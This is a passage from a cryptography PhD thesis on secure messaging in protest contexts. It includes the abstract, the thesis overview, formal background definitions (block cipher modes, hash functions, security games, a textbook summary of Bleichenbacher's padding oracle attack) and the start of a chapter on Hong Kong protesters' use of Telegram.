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Abstract

Instant messaging applications promise their users a secure and private way to communicate. The
validity of these promises rests on the design of the underlying protocol, the cryptographic primitives
used and the quality of the implementation. Though secure messaging designs exist in the literature, for
various reasons developers of messaging applications often opt to design their own protocols, creating
a gap between cryptography as understood by academic research and cryptography as implemented
in practice. This thesis contributes to bridging this gap by approaching it from both sides: by looking
for flaws in the protocols underlying real-world messaging applications, as well as by performing a
rigorous analysis of their security guarantees in a provable security model.

Securemessaging can provide a host of different, sometimes conflicting, security and privacy guarantees.
It is thus important to judge applications based on the concrete security expectations of their users.
This is particularly significant for higher-risk users such as activists or civil rights protesters. To
position our work, we first studied the security practices of protesters in the context of the 2019 Anti-
ELAB protests in Hong Kong using in-depth, semi-structured interviews with participants of these
protests. We report how they organised on different chat platforms based on their perceived security,
and how they developed tactics and strategies to enable pseudonymity and detect compromise.

Then, we analysed two messaging applications relevant in the protest context: Bridgefy and Telegram.
Bridgefy is a mobile mesh messaging application, allowing users in relative proximity to communicate
without the Internet. It was being promoted as a secure communication tool for use in areas expe-
riencing large-scale protests. We showed that Bridgefy permitted its users to be tracked, offered no
authenticity, no effective confidentiality protections and lacked resilience against adversarially crafted
messages. We verified these vulnerabilities by demonstrating a series of practical attacks.

Telegram is a messaging platform with over 500 million users, yet prior to this work its bespoke
protocol, MTProto, had received little attention from the cryptographic community. We provided
the first comprehensive study of the MTProto symmetric channel as implemented in cloud chats. We
gave both positive and negative results. First, we found two attacks on the existing protocol, and two
attacks on its implementation in official clients which exploit timing side channels and uncover a
vulnerability in the key exchange protocol. Second, we proved that a fixed version of the symmetric
MTProto protocol achieves security in a suitable bidirectional secure channel model, albeit under
unstudied assumptions. Our model itself advances the state-of-the-art for secure channels.
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Choose your problems well. Let values inform your choice.

— P. Rogaway, The Moral Character of Cryptographic Work, 2015

CHAPTER 1

Introduction

Secure messaging gives people the ability to communicate privately without revealing the contents of
their exchange to others and without allowing an adversary to tamper with the contents. As such,
it belongs among the most intuitive concepts of modern cryptography, with a wide reach; instant
messaging applications now count their users in billions.

Yet, even our simple definition above quickly reveals itself as problematic. Who are the “others”, the
ones who should remain oblivious of the communication? What does the data that should be private
encompass? Who is this “adversary” that wishes to tamper with the exchange? What if somebody can
guess or learn from other sources part of the contents? ...and so on. Cryptography offers answers to
some of these questions, yet these are limited in scope: the adversary it conjures is a purely technical
construct, with well-defined powers and abilities, yet the decision of what to protect and under what
assumptions remains arbitrary.

Part of the reason for this is perhaps the recognition that giving a single definition would be an
impossible task, since the variety of real-world situations in which these cryptographic constructions
are applied precludes a one-size-fits-all solution. However, this should not be understood as freedom
to exclude such questions from our study, but as indication that we should analyse cryptographic
constructions in the particular contexts in which they are used. For this, we may have to step outside
of the usual technical scope of cryptographic research and reach for the methods of qualitative research
as developed in the social sciences.

The rich history of secure Internet-enabled communications, which predate secure messaging, is en-
twined with the developments in academic cryptography, yet it has been far from a simple progression
from research prototypes into standards and products; often, the protocols are designed first and
immediately put to use, only to be later analysed by researchers who either find flaws or provide proofs
of security in a specific formal model. Thus, it is often spoken of the “gap” between cryptography
as understood by academic research and cryptography as implemented in practice, which also has a
negative impact on the actual security of people using instant messaging applications. We argue that
this gap can only be reduced by continuing to work on both sides of the divide: by developing attacks
that showcase where existing designs fail, and by using the tools of provable security to obtain a better
understanding of the specific security guarantees given by existing designs.
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1.1 Overview of the thesis

In this work, we will be using a very broad definition of secure messaging which encompasses both
constructions that assume the cooperation of a trusted server as well as those that promise a higher
level of security. Recognising the variety of security requirements that users may expect of secure
messaging applications, we will also consider properties such as anonymity or resistance to tracking
which are normally not included in the definition of “secure messaging” but which are relevant in the
particular context that we study – digital communication in large-scale protests.

The protest setting can offer insights about the use of messaging applications for a number of reasons.
Increasingly, protests are organised with the help of digital tools. Further, participants of protests
may have specific security needs and practices which can place them in a category of higher-risk users.
However, the messaging tools used in protests may not have been designed for that purpose; this in
turn opens the potential for disruption and exploitation, putting the participants of protests at even
higher risk. Thus, we believe it is a worthwhile setting to explore in research.

1.1 Overview of the thesis

In this thesis, we analyse secure messaging protocols underlying instant messaging applications used
in the context of large-scale urban protests.

Chapter 2. This chapter introduces the necessary background for the remaining chapters and covers
the notation, terminology and definitions necessary for the formal proofs.

Chapter 3. In this chapter, we study the information security practices of protesters in the particular
setting of the large-scale Anti-Extradition Law Amendment Bill protests which occurred in Hong
Kong largely in 2019-2020. This was done using in-depth, semi-structured interviews with participants,
which reveal the extensive use of Telegram group chats for protest organisation as well as various
tactics and strategies for achieving advanced security properties specific to their setting.

This chapter was originally published as

Martin R. Albrecht, Jorge Blasco, Rikke Bjerg Jensen, and Lenka Mareková. Collective
Information Security in Large-Scale Urban Protests: the Case of Hong Kong. In USENIX
Security 2021, editors Michael Bailey and Rachel Greenstadt, pp. 3363–3380. USENIX
Association, August 2021

The author of this thesis contributed to the discussion of the research findings and their implications
for cryptographic research.

Chapter 4. This chapter analyses the security of the mesh-messaging application Bridgefy, which first
rose to prominence during the protests studied in the previous chapter due to its ability to function
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1.1 Overview of the thesis

without the Internet and promises of end-to-end encryption. We describe several attacks that break
the expected security guarantees of the application for its users.

This chapter was originally published as

Martin R. Albrecht, Jorge Blasco, Rikke Bjerg Jensen, and Lenka Mareková. Mesh
Messaging in Large-Scale Protests: Breaking Bridgefy. In CT-RSA 2021, editor Kenneth G.
Paterson, volume 12704 of LNCS, pp. 375–398. Springer, Heidelberg, May 2021. http://
doi.org/10.1007/978-3-030-75539-3_16

The author of this thesis contributed to all aspects of the work, from reverse-engineering the application
to developing the attacks.

Chapter 5 and Chapter 6. These chapters contain the study of the cryptographic protocol underlying
cloud chats in Telegram. For ease of exposition, the material is split so that Chapter 5 describes the
attacks that were found, on the protocol level as well as on the implementation level, while Chapter 6
covers the cryptographic proof of security of the symmetric channel of MTProto and the standard as
well as nonstandard assumptions it builds on.

These chapters together were originally published as

Martin R. Albrecht, Lenka Mareková, Kenneth G. Paterson, and Igors Stepanovs. Four
Attacks and a Proof for Telegram. In 2022 IEEE Symposium on Security and Pri-
vacy, pp. 87–106. IEEE Computer Society Press, May 2022. http://doi.org/10.1109/
SP46214.2022.9833666

The author of this thesis contributed to both chapters, creating the formal model of MTProto and
noting its differences from implementation, helping to develop the timing side-channel attack and
testing it in practice, and creating definitions and writing proofs for the building blocks of MTProto.

Due to lack of space in the original publication, an expanded version is available as

Martin R. Albrecht, Lenka Mareková, Kenneth G. Paterson, and Igors Stepanovs. Four
Attacks and a Proof for Telegram. Cryptology ePrint Archive, Report 2023/469, 2023.
https://eprint.iacr.org/2023/469

Chapters 5 and 6 largely follow this expanded version. Chapter 5 only contains the parts related to
the attacks on the protocol: Sections 4.1 and 4.2 of [AMPS23] appear as Sections 5.2 and 5.3, while
Sections 6 and 7 of [AMPS23] appear as Sections 5.4 and 5.5. The remaining content is in Chapter 6,
following the original order: Section 3 of [AMPS23] is reproduced in Section 6.2 in a more concise
form, Sections 4.3 and 4.4 appear as Section 6.3, and Section 5 is split into Sections 6.4 to 6.7.

There are some differences with respect to the appendices of [AMPS23]. Appendix E of [AMPS23],
which contains proofs for the MTProto building blocks, is integrated in the main body of Chapter 6 as
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1.1 Overview of the thesis

part of Sections 6.4 to 6.6. Appendix C of [AMPS23], which details a comparison of our framework
to that of [FGJ20], is not included in this thesis. The rest is collated in Appendices C and D.
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This cryptogram is transmitted to the receiving point by a channel and may be
intercepted by the “enemy.”

— C.E. Shannon, Communication Theory of Secrecy Systems, 1949

CHAPTER 2

Background

Contents

2.1 Secure messaging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2.2 Game-based model . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6

2.3 Standard definitions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
2.3.1 Primitives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
2.3.2 Security properties of primitives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11

2.4 Padding oracle attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
2.4.1 RSA PKCS#1 v1.5 and Bleichenbacher’s attack . . . . . . . . . . . . . . . . . . . . . . . . . 14

In this chapter, we briefly summarise the existing literature on secure messaging, introduce formal notation
and give definitions for standard primitives, security notions and algorithms in the format that is consistent
with the rest of this work. Basic notation is displayed in Symbols.

2.1 Secure messaging

The literature on secure messaging builds upon the foundations laid by the study of key agreement and
secure channels, i.e. the problems of exchanging keys between given parties using an untrusted network
with the goal of establishing a confidential and authenticated channel between them. While the first
key exchange protocol was proposed in 1976 by Diffie and Hellman [DH76], the first formal treatment
of the security of key exchange protocols followed only later with the Bellare-Rogaway model [BR94].
This spawned a host of works expanding the model [BWJM97, BPR00, BFWW11] and proposing
models with different properties or using different formal frameworks [Sho99, CK01, LLM07, KR17];
similarly for secure channels [BKN02b, KPB03, BHMS16]. These efforts were intertwined with the
development and security analysis of transport-level protocols such as TLS, which gave positive results
in the form of security proofs [MSW08, JKSS12, KPW13, DFGS21] as well as negative results in the
form of attacks [Ble98, BB03, AP13, ASS+16] (see [MS13] for an overview).
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2.2 Game-based model

Secure messaging has received renewed attention in the last decade, focusing on tools providing
end-to-end security to their users, i.e. security even against a malicious service provider. This began in
earnest with the analyses of the two-party Signal protocol [CCD+16, ACD19] and continues with
an effort to standardise a protocol for secure group messaging – simply dubbed Messaging Layer
Security (MLS) – now underway by the IETF [STK+18], with several academic works proposing
solutions or analysing security [CHK19, KPPW+21, ACDT21]. The use of secure messaging by
“high-risk users” is considered in [EHM17, HEM18]. In particular, those works analyse interviews
with human rights activists and secure messaging application developers to establish common and
diverging concerns. See [UDB+15] for an overview of different secure messaging tools and their
claimed security guarantees.

2.2 Game-based model

In this thesis and in particular in Chapter 6, we use the game-based model and we follow the code-
based game-playing framework of [BR06]. We make concrete security claims [BR96, BDJR97] rather
than using asymptotic bounds, i.e. our results are expressed as a function of the available adversarial
resources. Here, we provide a concise summary of the terminology and the framework.

Algorithms. Algorithms may be randomised unless otherwise indicated. If A is an algorithm,
y ← A(x1, . . . ; r ) denotes running A with random coins r on inputs x1, . . . and assigning the output
to y. If any of the inputs taken by A is ⊥, then all of its outputs are ⊥. We let y ←$ A(x1, . . .) be
the result of picking r at random and letting y ← A(x1, . . . ; r ). We let [A(x1, . . .)] denote the set of
all possible outputs of A when invoked with inputs x1, . . ..The instruction abort (x1, . . . ) is used to
immediately halt the algorithm with output (x1, . . . ).

Adversaries and oracles. An adversary is an algorithm denoted as D if it is a distinguisher, i.e. the
task of the adversary is to distinguish between two cases and output a bit 0 or 1, and as A otherwise.
An oracle is an algorithm that is available to be called by the adversary in a black-box manner. It is
denoted in small caps asOracle but using a name specific to its function, e.g. RoR is a real-or-random
oracle. We require that the adversaries never pass ⊥ as input to their oracles.

Games. A game G is an algorithm run with an adversary and a set of oracles which captures a
particular security guarantee for a particular primitive or protocol. The game definition includes the
specification of its oracles. The game sets up local variables, which are assumed to be shared with the
oracles but not with the adversary, runs the adversary and finally outputs a bit which will signify
whether the adversary has “won” the game or not. Pr

[
G

]
denotes the probability that the game G

returns true or 1.
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2.3 Standard definitions

Advantage. We quantify the success of an adversary in a particular game using an advantage term
denoted as Adv. Its definition depends on whether it concerns an indistinguishability game or not.
In the first case, let GD be any security game defining a decision-based problem that requires an
adversaryD to guess a challenge bit d ; let d ′ denote the output ofD, and let the game GD return true
if and only if d ′ = d . Depending on the context, we interchangeably use two advantage definitions for
such games: Adv (D) B 2 · Pr

[
GD

]
− 1, and Adv (D) B Pr

[
d ′ = 1

�� d = 1
]
− Pr

[
d ′ = 1

�� d = 0
]
. It

is straightforward to check that these definitions are equivalent. In the case of an adversary A against
a game GA that is not based on a decision problem, e.g. if A wins by setting a given flag to true by its
interaction with the oracles of the game, the advantage is defined as Adv (A) B Pr

[
GA

]
.

Security reductions. A reduction proves an upper bound on the advantage of an adversary against a
security game with a particular primitive or protocol, by relating it to the advantage of an adversary
against a building block that is assumed to be secure. In the security reductions, we omit specifying
the running times of the constructed adversaries when they are roughly the same as the running time
of the initial adversary. Our proofs take a hybrid form using a series of games and hops between them,
bounding each step until reaching a game which is either trivially unwinnable or represents a game
for which we have a known advantage bound. To do this, we may make use of the following lemma.

Fundamental Lemma of Game Playing [BR06]. Suppose that the gamesGi andGi+1 are identical
until the flag bad is set. Then we have

Pr[Gi] − Pr[Gi+1] ≤ Pr
[
badGi

]
= Pr

[
badGi+1

]
,

where Pr
[
badG

]
denotes the probability of setting the flag bad in the game G.

Our games are defined using pseudocode. In our games, we annotate some lines with comments of
the form “Gi–G j” to indicate that these lines belong only to the games Gi through G j (inclusive).
The lines not annotated with such comments are shared by all of the games that are shown in the
particular figure.

As part of our reductions, the intermediary games (e.g. Fig. 6.13) use the following colour code to
distinguish specific lines: grey for equivalent code which expands the definitions of some algorithms,
and blue for the code added for the transitions between games. The adversaries constructed for the
transitions (e.g. Fig. 6.14) use yellow to mark the changes in the code of the games they simulate.

2.3 Standard definitions

In this section, we give definitions for standard primitives as well as their notions of security, which we
will be referring to in later chapters. In particular, we will use these to build more specific constructions
and define their security in Chapter 6.
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2.3 Standard definitions

2.3.1 Primitives

In Definitions 1 to 3, we first define the syntax for keyed function families, block ciphers and symmetric
encryption schemes; these are key building blocks for achieving confidentiality in a secure channel.
Channels themselves will be defined in Section 6.2.

Definition 1 (Function family). A family of functions F specifies a deterministic algorithm F.Ev,
a key set F.Keys, an input set F.In and an output length F.ol ∈ N; F.Ev takes a key k ∈ F.Keys and
an input x ∈ F.In to return an output y ∈ {0, 1}F.ol. We write y ← F.Ev(k, x). The key length of
F is F.kl ∈ N if F.Keys = {0, 1}F.kl.

Definition 2 (Block cipher). Let E be a function family. E is a block cipher if E.In = {0, 1}E.ol,
and if E specifies (in addition to E.Ev) an inverse algorithm E.Inv : {0, 1}E.ol → E.In such that
E.Inv(k,E.Ev(k, x)) = x for all k ∈ E.Keys and all x ∈ E.In. E.ol is the block length of E.

Note that we may use Ek and E−1k as a shorthand for E.Ev(k, ·) and E.Inv(k, ·) respectively.

Definition 3 (Symmetric encryption scheme). A symmetric encryption scheme SE specifies
algorithms SE.Enc and SE.Dec, where SE.Dec is deterministic. Associated to SE is a key length
SE.kl ∈ N, a message space SE.MS ⊆ {0, 1}∗ \ {ε}, and a ciphertext length function SE.cl : N→ N.
The encryption algorithm SE.Enc takes a key k ∈ {0, 1}SE.kl and a message m ∈ SE.MS to return
a ciphertext c ∈ {0, 1}SE.cl( |m | ) . We write c ←$ SE.Enc(k,m). The decryption algorithm SE.Dec
takes k, c to return a message m ∈ SE.MS∪ {⊥}, where ⊥ denotes incorrect decryption. We write
m ← SE.Dec(k, c). Decryption correctness requires that SE.Dec(k, c) = m for all k ∈ {0, 1}SE.kl, all
m ∈ SE.MS, and all c ∈ [SE.Enc(k,m)]. We say that SE is deterministic if SE.Enc is deterministic.

Next, in Definitions 4 and 5 we define two block cipher modes of operation, CBC and IGE, which are
relevant in our study of Telegram. CBC was first defined in [EMST78] and security proofs were given
in [BDJR97, Rog04]. IGEwas first defined in [Cam78], which claimed it has infinite error propagation
and thus can provide integrity. This claim was disproved in an attack on Free-MAC [Jut00], which
has the same specification as IGE. [Jut00] showed that given a plaintext-ciphertext pair it is possible
to construct another ciphertext that will correctly decrypt to a plaintext such that only two of
its blocks differ from the original plaintext, i.e. the “errors” introduced in the ciphertext do not
propagate forever. IGE also appears as a special case of the Accumulated Block Chaining (ABC)
mode [Knu00]. A chosen-plaintext attack on ABC that relied on IV reuse between encryptions was
described in [BBKN12].
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2.3 Standard definitions

Definition 4 (CBC mode). Let E be a block cipher. The Cipher Block Chaining (CBC) mode of
operation is a deterministic symmetric encryption scheme SE = CBC[E] shown in Fig. 2.1a, with
key length SE.kl = E.kl + E.ol, the message space SE.MS =

⋃
t ∈N{0, 1}E.ol·t , and the ciphertext

length function SE.cl as the identity function.

CBC[E] .Enc(k′,m)
1 : k ∥ c0 ← k′

2 : for i = 1, . . . , t do
3 : ci ← E.Ev(k,mi ⊕ ci−1)
4 : return c1 ∥ . . . ∥ ct

CBC[E] .Dec(k′, c)
1 : k ∥ c0 ← k′

2 : for i = 1, . . . , t do
3 : mi ← E.Inv(k, ci) ⊕ ci−1
4 : return m1 ∥ . . . ∥ mt

(a) CBC mode.

IGE[E] .Enc(k′,m)
1 : k ∥ c0 ∥ m0 ← k′

2 : for i = 1, . . . , t do
3 : ci ← E.Ev(k,mi ⊕ ci−1) ⊕ mi−1

4 : return c1 ∥ . . . ∥ ct

IGE[E] .Dec(k′, c)
1 : k ∥ c0 ∥ m0 ← k′

2 : for i = 1, . . . , t do
3 : mi ← E.Inv(k, ci ⊕ mi−1) ⊕ ci−1
4 : return m1 ∥ . . . ∥ mt

(b) IGE mode.

Figure 2.1. Construction of CBC[E] and IGE[E] from a block cipher E. When parsing k′, assume that��k�� = E.kl and |c0 | = |m0 | = E.ol. Let t be the number of blocks of m (or c ), i.e. m = m1 ∥ . . . ∥ mt .

Note that Definition 4 gives a somewhat non-standard definition for CBC, as it includes the IV (c0)
as part of the key material. However, due to Telegram’s design, we are only interested in one-time
security of SE, so the keys and IVs are generated together and the IV is not included as part of the
ciphertext.

ct

E−1k

mt

· · · · · ·

mt−1

ct−1

c3

E−1k

m3

c2

E−1k

m2

c1

E−1k

m1

IVm

IV c

Figure 2.2. IGE mode decryption with c0 = IV c and m0 = IVm as the initial values so decryption
can be expressed as mi = E−1k (ci ⊕ mi−1) ⊕ ci−1. Figure adapted from [Jea16].
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Definition 5 (IGE mode). Let E be a block cipher. The Infinite Garble Extension (IGE) mode of
operation can be defined as SE = IGE[E] shown in Fig. 2.1b, with parameters as in the CBC mode
except for key length SE.kl = E.kl + 2 · E.ol.

We depict IGE decryption in Fig. 2.2 as we rely on this in Section 5.4.

Finally, since Telegram uses SHA-1 and SHA-256 for the purpose of key derivation and partially
to achieve integrity of the secure channel, in Definitions 6 to 8 we define the SHA family of hash
functions and related primitives.

Definition 6 (MD transform). The Merkle-Damgård transform [Mer79, Dam90], shown in
Fig. 2.3, can be defined as a function family MD = MD[f] for a given compression function
f : {0, 1}` × {0, 1}`′ → {0, 1}` , with MD.In =

⋃
t ∈N{0, 1}`

′ ·t , MD.Keys = {0, 1}` and MD.ol = `.

MD.Ev(k, x1 ∥ . . . ∥ x t ) // |x i | = `′

1 : ℎ0 ← k
2 : for i = 1, . . . , t do
3 : ℎi ← f (ℎi−1, x i)
4 : return ℎt

Figure 2.3. Construction of the Merkle-Damgård transform MD.

Note that Definition 6 is somewhat non-standard when compared with the literature. Traditionally,
MD[f] is unkeyed, but it is convenient at points in our analysis to think of it as being keyed. When
creating a hash function like SHA-1 or SHA-256 from MD[f], as shown in Definition 7, the key is
fixed to a specific IV value.

Definition 7 (SHA-1 and SHA-256). Let SHA-1 : {0, 1}∗ → {0, 1}160 and SHA-256 : {0, 1}∗ →
{0, 1}256 be the hash functions as defined in [NIS15]. We refer to their compression functions as
f160 : {0, 1}160 × {0, 1}512 → {0, 1}160 and f256 : {0, 1}256 × {0, 1}512 → {0, 1}256, and to their initial
states as IV 160 and IV 256. Then we can write

SHA-1(x) = MD[f160] .Ev(IV 160,SHA-pad(x)), and
SHA-256(x) = MD[f256] .Ev(IV 256,SHA-pad(x))

where SHA-pad is defined in Fig. 2.4.

Definition 8 shows that the compression functions underlying SHA-1 and SHA-256 can be used to
build the block ciphers SHACAL-1 and SHACAL-2; equivalently, we can also think of SHA-1 and
SHA-256 as being built using these block ciphers.

10



2.3 Standard definitions

SHA-pad(x) // |x | < 264

1 : L← (447 − |x |) mod 512
2 : x ′ ← x ∥ 1 ∥ ⟨0⟩L ∥ ⟨|x |⟩64
3 : return x ′

Figure 2.4. Padding SHA-1/SHA-256 input x to a length that is a multiple of 512 bits.

Definition 8 (SHACAL-1 and SHACAL-2). Let f160, f256 be as in Definition 7. Then SHACAL-1,
as described in [HN00], is the block cipher defined by SHACAL-1.kl = 512, SHACAL-1.ol = 160
such that f160(k, x) = k +̂ SHACAL-1.Ev(x, k). Similarly, SHACAL-2 is the block cipher defined
by SHACAL-2.kl = 512,SHACAL-2.ol = 256 such that f256(k, x) = k +̂ SHACAL-2.Ev(x, k).

For the security definition in the next section, we also include a definition for public-key encryption.

Definition 9 (Public-key encryption scheme). A public-key encryption scheme PKE specifies
algorithms PKE.Enc and PKE.Dec, where PKE.Dec is deterministic. Associated to PKE is a
message space PKE.MS, a ciphertext space PKE.CS and a key generation function PKE.KGen
which produces a public key pk and a secret key sk. The encryption algorithm PKE.Enc takes
pk and m ∈ PKE.MS to return a ciphertext c ∈ PKE.CS. We write c ←$ PKE.Enc(pk,m). The
decryption algorithm PKE.Dec takes sk, c to return a message m ∈ PKE.MS ∪ {⊥}, where ⊥
denotes incorrect decryption. We write m ← PKE.Dec(sk, c). Decryption correctness requires
that PKE.Dec(sk, c) = m for all pk, sk generated by PKE.KGen, all m ∈ PKE.MS, and all c ∈
[PKE.Enc(pk,m)].

2.3.2 Security properties of primitives

Here, we give standard security definitions that may be referred to or used in Chapters 4 to 6. We
often use the one-time variants of these definitions, which imply security in the restricted setting where
each key is only used once. This mirrors Telegram’s design of using message-dependent encryption
keys in their channel.

We first define collision resistance, which is a property relevant for hash functions.

Definition 10 (CR-security). Let f : D f → R f be a function. Consider the game Gcr
f ,A in

Fig. 2.5 defined for f and an adversary A. The advantage of A in breaking the CR-security of f
is defined as Advcr

f (A) B Pr
[
Gcr

f ,A

]
.

To win the game Gcr
f ,A in Fig. 2.5, the adversary A has to find two distinct inputs x0, x1 ∈ D f such

that f (x0) = f (x1). Note that f is unkeyed, so there exists a trivial adversary A with Advcr
f (A) = 1

11



2.3 Standard definitions

Gcr
f ,A

1 : (x0, x1) ←$A
2 : return (x0 ≠ x1) ∧ ( f (x0) = f (x1))

Figure 2.5. Collision resistance of a function f .

whenever f is not injective. We will use the notion of CR-security in a constructive way, to build a
specific collision-resistance adversary A (for f = SHA-256 with a truncated output), see Section 6.4.2.

Next, we define the one-time variant of what it means for a function family to be pseudorandom.

Definition 11 (OTPRF-security). Consider the game Gotprf
F,D in Fig. 2.6 defined for a function

family F and an adversaryD. The advantage ofD in breaking the OTPRF-security of F is defined
as Advotprf

F (D) B 2 · Pr
[
Gotprf

F,D

]
− 1.

Gotprf
F,D

1 : b ←$ {0, 1}
2 : b ′ ←$ DRoR

3 : return b ′ = b

RoR(x) // x ∈ F.In

1 : k←$ F.Keys
2 : y1 ← F.Ev(k, x)
3 : y0 ←$ {0, 1}F.ol

4 : return yb

Figure 2.6. One-time pseudorandomness of a function family F.

The game Gotprf
F,D in Fig. 2.6 samples a uniformly random challenge bit b and runs the adversary D,

providing it with access to the RoR oracle. The adversary is allowed to query the oracle arbitrarily
many times. Each time RoR is queried at some x ∈ F.In, it samples a uniformly random key k from
F.Keys and returns either F.Ev(k, x) (if b = 1) or a uniformly random element from {0, 1}F.ol (if
b = 0). D wins if it returns a bit b ′ = b .

Then, we give the one-time variant for indistinguishability from random of a deterministic symmetric
encryption scheme.

Definition 12 (OTIND$-security). Consider the game Gotind$
SE,D in Fig. 2.7 defined for a determin-

istic symmetric encryption scheme SE and an adversary D. We define the advantage of D in
breaking the OTIND$-security of SE as Advotind$

SE (D) B 2 · Pr
[
Gotind$

SE,D

]
− 1.

Note that in this work, we will use the term “indistinguishability” to refer to a notion that is tradi-
tionally abbreviated as IND-CPA, i.e. indistinguishability under chosen-plaintext attacks; “integrity”
will be a more fluid notion able to express both INT-PTXT and INT-CTXT [BN08], i.e. integrity of
plaintexts and ciphertexts respectively (see Section 6.2.4 for channel security definitions). Depending
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2.4 Padding oracle attacks

Gotind$
SE,D

1 : b ←$ {0, 1}
2 : b ′ ←$ DRoR

3 : return b ′ = b

RoR(m) // m ∈ SE.MS

1 : k←$ {0, 1}SE.kl

2 : c1 ← SE.Enc(k,m)
3 : c0 ←$ {0, 1}SE.cl( |m | )

4 : return cb

Figure 2.7. One-time indistinguishability of a symmetric encryption scheme SE.

on context, for indistinguishability definitions we may use either the real-or-random version, i.e. the
adversary is given a real ciphertext or a random string, or the left-or-right version, i.e. the adversary is
given an encryption of one of its chosen plaintexts.

For reference, belowwe reproduce the definition for adaptive IND-CCA, i.e. indistinguishability under
adaptive chosen-ciphertext attacks (also known as IND-CCA2), however for public-key encryption
and in the left-or-right setting.

Definition 13 (IND-CCA-security of PKE). Consider the game Gindcca
PKE,D in Fig. 2.8 defined for

a public-key encryption scheme PKE and an adversary D. We define the advantage of D in
breaking the IND-CCA-security of PKE as Advindcca

PKE (D) B 2 · Pr
[
Gindcca

PKE,D

]
− 1.

Gindcca
PKE,D

1 : b ←$ {0, 1}
2 : (pk, sk) ←$ PKE.KGen()
3 : b ′ ←$ DLoR,Dec (pk)
4 : return b ′ = b

LoR(m0,m1) // mi ∈ PKE.MS

1 : if c∗ ≠ ⊥ then return ⊥
2 : if |m0 | ≠ |m1 | then return ⊥
3 : c∗ ←$ PKE.Enc(pk,mb )
4 : return c∗

Dec(c) // c ∈ PKE.CS

1 : if c = c∗ then return ⊥
2 : m ← PKE.Dec(sk, c)
3 : return m

Figure 2.8. Indistinguishability of a public-key encryption scheme PKE under adaptive chosen-
ciphertext attacks.

2.4 Padding oracle attacks

The construction of CCA-secure encryption schemes is further motivated by the development of
attacks against real-world protocols which exploit partial decryption oracles. Padding oracles, which
upon decryption of a ciphertext reveal whether the plaintext was padded correctly according to a
given format, form a rich class of such oracles. Attacks exploiting padding oracles began with an
attack on CBC mode as used in e.g. SSL/TLS [Vau02] and continued with attacks on a variety of
different encryption and padding schemes [PY04, YPM05, BFK+12, MSA+19]. Despite this, padding
oracles continue to arise in practice through implementations that reveal error messages directly or
via side channels. We will add to this body of work with the attacks shown in Chapters 4 and 5.
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2.4.1 RSA PKCS#1 v1.5 and Bleichenbacher’s attack

The now-deprecated PKCS#1 v1.5 standard [IET98] defines a method of using RSA encryption, in
particular specifying how the plaintext should be padded before being encrypted. The format of the
padded data that will be encrypted is

0x0002 ∥ ⟨random non-zero bytes⟩ ∥ 0x00 ∥ ⟨message⟩.

If the size of the RSA modulus and hence the size of the encryption block is k bytes, then the
maximum length of the message is k − 11 bytes to allow for at least 8 bytes of padding.

This padding format enables a well-known attack by Bleichenbacher [Ble98] (for variants and im-
provements of Bleichenbacher’s attack see e.g. [KPR03, BFK+12, ASS+16, BSY18]). Sending some
number of ciphertexts, each chosen based on previous responses of the padding oracle, leads to full
plaintext recovery.

In more detail, let c be the target ciphertext, n the public modulus, and (e, d) the public and private
exponents, respectively. We have pad(m) = c d mod n for the target message m. The chosen cipher-
texts sent to the oracle will be of the form c∗ = s e · c mod n for some s . If the oracle responds that c∗

has correct padding, we learn that the first two bytes of s · pad(m) are 0x0002, and hence we learn
a range for its possible values, i.e. 2 · 28(k−2) ≤ s · pad(m) mod n ≤ 3 · 28(k−2) − 1. The attack thus
first finds small values of s which result in a positive answer from the oracle and for each of them
computes a set of ranges for the value of pad(m). Once there is only one possible range, larger values
of s are tried in order to narrow this range down to only one value, which is the original message.

For RSA with k = 128, overall the number of chosen ciphertexts required has been shown to be
between 212 and 216 [Boy19].
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We need not to be let alone. We need to be really bothered once in a while. How
long is it since you were really bothered? About something important, about
something real?

— R. Bradbury, Fahrenheit 451, 1953

CHAPTER 3

Collective Information Security in
Large-Scale Urban Protests
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3.1 Motivation

The Anti-Extradition Law Amendment Bill protests in Hong Kong present a rich context for exploring
information security practices among protesters due to their large-scale urban setting and highly digitalised
nature. We conducted in-depth, semi-structured interviews with 11 participants of these protests. In this
chapter, we reveal how protesters favoured Telegram and relied on its security for internal communication
and organisation of on-the-ground collective action; were organised in small private groups and large public
groups to enable collective action; adopted tactics and technologies that enable pseudonymity; and developed
a variety of strategies to detect compromises and to achieve forms of forward secrecy and post-compromise
security when group members were (presumed) arrested. We further show how group administrators had
assumed the roles of leaders in these “leaderless” protests and were critical to collective protest efforts.

3.1 Motivation

Large-scale urban protests offer a rich environment to study information security needs and practices
among groups of higher-risk users because they rely on a diverse set of digital communication platforms,
strategies and tactics, and because of their sheer size. In this chapter, we study the Anti-Extradition
Law Amendment Bill (Anti-ELAB) protests in Hong Kong that took place in 2019-2020, where
most activities and interactions manifested in some form of digital communication. The use of
different communication platforms as an integral part of the protests has already been documented in
various media reports, including: large chat groups on platforms such as Telegram, protest-specific
forums on the Reddit-like platform LIHKG, practices of doxxing as well as live protest maps such as
HKmap.live to identify police positions [Bor19, Blu19b, Moz19, Tan19]. Recent scholarship has also
highlighted the significance of digital technology to the Anti-ELAB protests. For example, “novel uses”
of communication technology by Anti-ELAB protesters led them to form ad-hoc and networked
“pop-up” protests, creating a new form of a “smart mob” facilitated by digital technology [Tin20].
Platforms such as Telegram and LIHKG worked to mobilise and establish a sense of community
among young activists [Ku20] and created a “symbiotic network” of protesters [KNC20]. Social
media was used to maintain “protest potential” over time [LCC20].

To design and build secure communication technologies that meet the needs of participants in large-
scale protest movements, it is critical that designers and technologists understand protesters’ specific
security concerns, notions, practices and perceptions. There is also a need to understand the existing
use of secure and appropriation of insecure communication tools within such protest groups, where
they fail and where they succeed. Existing qualitative studies have explored security practices of
different groups of higher-risk users, e.g. [EHM17, HEM18, DSKB21, MCHR15, MRC16, GMS+18,
CKJ19, CKJT18, SLI+18, LHK+20], but none to our knowledge have studied such practices within
large-scale urban protests.

The Anti-ELAB protests, while specific in nature like any other local protest movement, provide
ample material for a case study. This is not only for the features already outlined above – urban,
large-scale, digitalised – but also because of the place these protests take in the imagination of protest
